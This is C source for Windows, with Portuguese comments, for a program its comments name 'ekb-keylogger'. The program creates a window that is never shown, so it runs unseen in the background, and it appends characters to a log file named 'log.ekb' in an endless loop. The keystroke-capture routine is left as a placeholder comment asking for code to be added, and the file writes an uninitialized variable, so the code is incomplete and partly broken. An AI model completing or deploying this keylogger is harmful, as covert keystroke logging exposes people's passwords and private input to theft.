/**************************
 * Includes & Defines
 *
 **************************/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

/**************************
 * Declaração de funções
 *
 **************************/
 
 int mymain();
 int inicode();
 
/*********************************************
 * Declaração de ponteiros e variáveis globais
 *
 ********************************************/
 FILE *fp;

LRESULT CALLBACK WndProc (HWND hWnd, UINT message,
WPARAM wParam, LPARAM lParam);

/**************************
 * WinMain
 *
 **************************/

int WINAPI WinMain (HINSTANCE hInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR lpCmdLine,
                    int iCmdShow)
{
    WNDCLASS wc;
    HWND hWnd;
    HDC hDC;
    HGLRC hRC;        
    MSG msg;
    BOOL bQuit = FALSE;


    /* register window class */
    wc.style = CS_OWNDC;
    wc.lpfnWndProc = WndProc;
    wc.cbClsExtra = 0;
    wc.cbWndExtra = 0;
    wc.hInstance = hInstance;
    wc.hIcon = LoadIcon (NULL, IDI_APPLICATION);
    wc.hCursor = LoadCursor (NULL, IDC_ARROW);
    wc.hbrBackground = GetStockObject(BLACK_BRUSH);
    wc.lpszMenuName = NULL;
    wc.lpszClassName = "P1";
    RegisterClass (&wc);

//chama o código de inicialização
     inicode();

    /* create main window *//*Só para fins de compatibilidade com alguns compiladores*/
    hWnd = CreateWindow (
      "P1", "Título da janela", 
      WS_OVERLAPPEDWINDOW ,
      50, 30, 800, 600,
      NULL, NULL, hInstance, NULL);

      /*ShowWindow(hWnd,SW_MAXIMIZE); não é necessário pois o 
      ekb-keylogger deve rodar em segundo plano*/


    /*****************
    *program main loop 
    *****************/
    while (!bQuit)
    {
        /* check for messages */
        if (PeekMessage (&msg, NULL, 0, 0, PM_REMOVE))
        {
            /* handle or dispatch messages */
            if (msg.message == WM_QUIT)
            {
               
                bQuit = TRUE;
            }else
            {
                TranslateMessage (&msg);
                DispatchMessage (&msg);
            }
        }
        
        
        //código de loop
        mymain();
        
        
    }



    /* destroy the window explicitly */
    
    
    DestroyWindow (hWnd);

    return msg.wParam;


}


/********************
 * Window Procedure *
 *                  *
 ********************/

LRESULT CALLBACK WndProc (HWND hWnd, UINT message,
                          WPARAM wParam, LPARAM lParam)
{

    switch (message)
    {
    case WM_CREATE:
        return 0;
    case WM_CLOSE:
        PostQuitMessage (0);
        return 0;

    case WM_DESTROY:
        return 0;
        
    default:
        return DefWindowProc (hWnd, message, wParam, lParam);
    }
}


int inicode(){
 /*********************************
 *Meu código de inicialização aqui*
 *********************************/
 
 if(  ( fp=fopen("log.ekb","a")  )==NULL  ){
 MessageBox(0, "Encerrando...", "Erro na criação do arquivo de log.",
         MB_OK | MB_ICONASTERISK);
         exit(1);/*O ekb sempre deve ser finalizado em caso de erro*/
 }

                 return 0;
   }


int mymain(){

int inpt;

/***************************
*Local para a adição de 
código para a obtenção dos 
caracteres dirtetamente da 
BIOS.
OBS.: o código deve
preferencialmente ser 
compatível com Dev-C++ IDE*
***************************/

//o caractere obtido deve ser salvo na variável local int inpt;

//se possível use um código que espere até que uma tecla seja pressionada para continuar

//lembre-se esta função é repetida infinitamente enquanto o programa está em execução

 fprintf(fp,"%c",inpt);

            
}

